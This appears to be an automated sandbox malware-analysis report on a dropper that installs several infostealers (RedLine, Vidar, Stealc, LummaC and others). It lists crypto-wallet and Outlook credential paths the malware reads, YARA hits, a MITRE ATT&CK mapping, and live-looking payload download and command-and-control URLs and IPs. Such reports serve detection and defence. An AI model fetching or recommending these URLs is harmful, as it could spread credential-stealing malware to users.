Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004

Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe

Directory queried: C:\Users\user\Documents

Jump to behavior

Source: Yara match

File source: 0000002B.00000002.2314092465.0000000000E9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 22.2.cxK4jj62SNPYFZVNj3t4MZg_.exe.3685570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.cxK4jj62SNPYFZVNj3t4MZg_.exe.3685570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.1736136504.0000000003685000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1573411911.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 16.2.oLvXEE2e9pIf4hDzNZ63ennK.exe.3fa5570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.oLvXEE2e9pIf4hDzNZ63ennK.exe.3fa5570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.1762946732.0000000003FA5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.1890496546.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: oLvXEE2e9pIf4hDzNZ63ennK.exe PID: 1168, type: MEMORYSTR

Yara detected Socks5Systemz

Source: Yara match	File source: 0000002C.00000002.2778026590.0000000002C61000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.2778125105.0000000002D01000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000027.00000002.1854151325.0000000000DEA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 43.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.dFpuQ1Q9a79sUJWPwukBnd_d.exe.3b65570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.dFpuQ1Q9a79sUJWPwukBnd_d.exe.3b65570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002B.00000002.2247859722.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1710440132.0000000003B65000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dFpuQ1Q9a79sUJWPwukBnd_d.exe PID: 576, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 22.2.cxK4jj62SNPYFZVNj3t4MZg_.exe.3685570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.cxK4jj62SNPYFZVNj3t4MZg_.exe.3685570.0.raw.unpack, type: UNPACKEDPE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69C40B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	39_2_69C40B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69C40D60 sqlite3_bind_parameter_name,	39_2_69C40D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69C40C40 sqlite3_bind_zeroblob,	39_2_69C40C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B68EA0 sqlite3_clear_bindings,	39_2_69B68EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B660B0 listen,WSAGetLastError,	39_2_69B660B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B6C030 sqlite3_bind_parameter_count,	39_2_69B6C030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B66070 PR_Listen,	39_2_69B66070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B6C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	39_2_69B6C050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B663C0 PR_Bind,	39_2_69B663C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	221 Windows Management Instrumentation	1 Scripting	1 Abuse Elevation Control Mechanism	111 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	12 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	1 Credential API Hooking	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Shared Modules	11 Windows Service	1 Access Token Manipulation	1 Abuse Elevation Control Mechanism	1 Credentials in Registry	13 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Command and Scripting Interpreter	Login Hook	11 Windows Service	3 Obfuscated Files or Information	NTDS	258 System Information Discovery	Distributed Component Object Model	1 Email Collection	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	611 Process Injection	1 Install Root Certificate	LSA Secrets	581 Security Software Discovery	SSH	1 Credential API Hooking	124 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	471 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	111 Masquerading	/etc/passwd and /etc/shadow	3 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	471 Virtualization/Sandbox Evasion	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Access Token Manipulation	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	611 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Link
file.exe	22%	Virustotal	Browse
file.exe	21%	ReversingLabs
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\userAKFHCAKJDB.exe	100%	Joe Sandbox ML
C:\Users\userKEHJKJDGCG.exe	100%	Joe Sandbox ML
C:\ProgramData\IIDHJKFBGI.exe	100%	Joe Sandbox ML
C:\ProgramData\FBKJDGCGDA.exe	100%	Joe Sandbox ML
C:\ProgramData\DSound High Level lib 9.18.45\DSound High Level lib 9.18.45.exe	29%	Virustotal		Browse
C:\ProgramData\FBKJDGCGDA.exe	37%	ReversingLabs	Win32.Trojan.Generic
C:\ProgramData\FBKJDGCGDA.exe	45%	Virustotal		Browse
C:\ProgramData\IIDHJKFBGI.exe	37%	ReversingLabs	Win32.Trojan.Generic
C:\ProgramData\IIDHJKFBGI.exe	45%	Virustotal		Browse
C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe	21%	ReversingLabs
C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe	22%	Virustotal		Browse
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal		Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal		Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal		Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal		Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	Virustotal		Browse
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	Virustotal		Browse
C:\Users\userAKFHCAKJDB.exe	37%	ReversingLabs	Win32.Trojan.Generic
C:\Users\userAKFHCAKJDB.exe	45%	Virustotal		Browse
C:\Users\userKEHJKJDGCG.exe	37%	ReversingLabs	Win32.Trojan.Generic
C:\Users\userKEHJKJDGCG.exe	45%	Virustotal		Browse
C:\Users\user\AppData\Local\Jekky Video Editor\Qt5OpenGL.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Jekky Video Editor\Qt5OpenGL.dll (copy)	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Jekky Video Editor\is-01HD2.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Jekky Video Editor\is-01HD2.tmp	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Jekky Video Editor\is-1KTDQ.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Jekky Video Editor\is-1KTDQ.tmp	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Jekky Video Editor\is-B77BO.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Jekky Video Editor\is-B77BO.tmp	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Jekky Video Editor\is-DFBEG.tmp	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Jekky Video Editor\is-ES64L.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Jekky Video Editor\is-ES64L.tmp	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Jekky Video Editor\is-JS844.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Jekky Video Editor\is-JS844.tmp	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Jekky Video Editor\is-TEF7I.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Jekky Video Editor\is-TEF7I.tmp	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe	29%	Virustotal		Browse
C:\Users\user\AppData\Local\Jekky Video Editor\libeay32.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Jekky Video Editor\libeay32.dll (copy)	0%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
s3-w.us-east-1.amazonaws.com	0%	Virustotal	Browse
bitbucket.org	1%	Virustotal	Browse
t.me	0%	Virustotal	Browse
ipinfo.io	0%	Virustotal	Browse
api64.ipify.org	0%	Virustotal	Browse
innovaxingenieros.com	5%	Virustotal	Browse
iplogger.org	0%	Virustotal	Browse
bbuseruploads.s3.amazonaws.com	3%	Virustotal	Browse
240902180529931.tyr.zont16.com	14%	Virustotal	Browse
time.windows.com	0%	Virustotal	Browse
gacan.zapto.org	11%	Virustotal	Browse

Name	IP	Active	Malicious	Antivirus Detection
s3-w.us-east-1.amazonaws.com	54.231.138.137	true	false	0%, Virustotal, Browse
ddudzob.info	185.196.8.214	true	true
bitbucket.org	185.166.143.50	true	false	1%, Virustotal, Browse
ipinfo.io	34.117.59.81	true	false	0%, Virustotal, Browse
t.me	149.154.167.99	true	true	0%, Virustotal, Browse
iplogger.org	104.26.3.46	true	false	0%, Virustotal, Browse
innovaxingenieros.com	167.114.163.236	true	false	5%, Virustotal, Browse
api64.ipify.org	173.231.16.77	true	false	0%, Virustotal, Browse
bbuseruploads.s3.amazonaws.com	unknown	unknown	true	3%, Virustotal, Browse
240902180529931.tyr.zont16.com	unknown	unknown	true	14%, Virustotal, Browse
gacan.zapto.org	unknown	unknown	true	11%, Virustotal, Browse
time.windows.com	unknown	unknown	true	0%, Virustotal, Browse
DfaHzNEFWflnBHLCTDHez.DfaHzNEFWflnBHLCTDHez	unknown	unknown	true

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://46.8.231.109/c4754d4f680ead72.php	true
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	true
https://t.me/edm0d	true
https://91.107.146.245/msvcp140.dll	true
relaxatinownio.shop	true
keennylrwmqlw.shop	true
https://91.107.146.245/mozglue.dll	true
tendencctywop.shop	true
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	true
http://ddudzob.info/search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d	true
https://91.107.146.245/freebl3.dll	true
tryyudjasudqo.shop	true
193.233.255.84:4284	true
https://innovaxingenieros.com/lnfsda.exe	true
https://91.107.146.245/	true
https://iplogger.org/1nhuM4.js	false
https://steamcommunity.com/profiles/76561199768374681	true
http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll	true
https://91.107.146.245/softokn3.dll	true
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll	true
https://innovaxingenieros.com/vlsadg.exe	true
tesecuuweqo.shop	true
http://147.45.44.104/prog/66e705d09b33c_jack.exe	false
http://147.45.44.104/lopsa/66ea645129e6a_jacobs.exe	false
eemmbryequo.shop	true
http://147.45.44.104/yuop/66e9b62daa62d_xin.exe	false

URLs from Memory and Binaries

Name	Source	Malicious
http://147.45.44.104/revada/66e86c030044f_UniversityGradually.exe#sun6er	RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/lopsa/66ea645129e6a_jacobs.exeeH(	RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	false
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2245373861.0000027C77A70000.00000004.00000800.00020000.00000000.sdmp	false
https://aka.ms/net-cache-persistence-errors.	jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	false
http://aka.ms/msal-net-iwa	jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	false
http://aka.ms/valid-authorities	jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	false
https://aka.ms/msal-client-apps	jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	false
https://aka.ms/msal-net-enable-keychain-access	jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	false
http://45.91.200.135/api/wp-admin.phprNo	RegAsm.exe, 00000007.00000002.1552191367.0000000004365000.00000004.00000020.00020000.00000000.sdmp	false
https://innovaxingenieros.com:80/vlsadg.exe	RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	true
https://api64.ipify.org:443/?format=json	RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	false
https://bbuseruploads.s3.amazonaws.com/479ceab5-a71c-45e3-a6d6-d89e76e092ed/downloads/d060d296-4b38-	RegAsm.exe, 00000007.00000002.1552191367.0000000004308000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1552191367.000000000433D000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/edm0di11iMozilla/5.0	dFpuQ1Q9a79sUJWPwukBnd_d.exe, 0000000B.00000002.1710440132.0000000003B65000.00000004.00000800.00020000.00000000.sdmp, Wzy1vqDHala63jbsaIZzYTRV.exe, 00000011.00000002.1744772345.0000000003D3B000.00000004.00000800.00020000.00000000.sdmp	false
http://103.130.147.211/Files/1.exe35/ty	RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	false
http://standards.iso.org/iso/19770/-2/2009/schema.xsd	svchost.exe, 00000004.00000002.2766256218.0000019666087000.00000004.00000020.00020000.00000000.sdmp	false
http://gacan.zapto.org_DEBUG.zip/c	dFpuQ1Q9a79sUJWPwukBnd_d.exe, 0000000B.00000002.1710440132.0000000003B65000.00000004.00000800.00020000.00000000.sdmp	false
https://innovaxingenieros.com/vlsadg.exeC:	RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	true
http://45.91.200.135/X	RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/soap/http	jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	false
https://bitbucket.org/solgoodman/zixenberg/downloads/onePackage.exefload	RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	false
http://103.130.147.211/Files/1.exeC:	RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	false
https://sso2urn:ietf:wg:oauth:2.0:oob	jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	false
https://aka.ms/msal-net-3-breaking-changesShttps://login.microsoftonline.com/common/	jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	false
https://aka.ms/msal-net-up	jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	false
http://schemas.xmlsoap.org/wsdl/soap12/shttp://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702iht	jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	false
https://innovaxingenieros.com/	RegAsm.exe, 00000007.00000002.1552191367.00000000042E8000.00000004.00000020.00020000.00000000.sdmp	true
http://45.91.200.135/l	RegAsm.exe, 00000007.00000002.1542688126.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp	false
https://aka.ms/msal-net-application-configuration	jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	false
http://45.91.200.135/api/wp-admin.phprj3	RegAsm.exe, 00000007.00000002.1552191367.000000000433D000.00000004.00000020.00020000.00000000.sdmp	false
https://aka.ms/msal-net-b2c	jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	false
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2245373861.0000027C77A70000.00000004.00000800.00020000.00000000.sdmp	false
https://innovaxingenieros.com:80/smdsg.exe	RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	true
http://www.innosetup.com/	sTd4WXsFge4OZIqww_UHT8nz.exe, 00000013.00000003.1499920193.0000000002230000.00000004.00001000.00020000.00000000.sdmp, sTd4WXsFge4OZIqww_UHT8nz.exe, 00000013.00000003.1525950087.0000000001FE8000.00000004.00001000.00020000.00000000.sdmp	false
https://bitbucket.org/	RegAsm.exe, 00000007.00000002.1552191367.0000000004308000.00000004.00000020.00020000.00000000.sdmp	false
https://api.ip.sb/ip	oLvXEE2e9pIf4hDzNZ63ennK.exe, 00000010.00000002.1762946732.0000000003FA5000.00000004.00000800.00020000.00000000.sdmp	false
http://www.mozilla.com/en-US/blocklist/	RegAsm.exe	false
https://mozilla.org0/	RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp	false
https://aka.ms/msal-net-3x-cache-breaking-change)	jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	false
http://147.45.44.104/revada/66e98ff1d44e2_crypted.exeC:	RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	false
https://iplogger.org:443/1nhuM4.js	RegAsm.exe, 00000007.00000002.1552191367.0000000004376000.00000004.00000020.00020000.00000000.sdmp	false
http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdline	sTd4WXsFge4OZIqww_UHT8nz.exe, sTd4WXsFge4OZIqww_UHT8nz.exe, 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp	false
https://aka.ms/msal-brokers	jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	false
http://147.45.44.104/yuop/66e9b62daa62d_xin.exeC:	RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	false
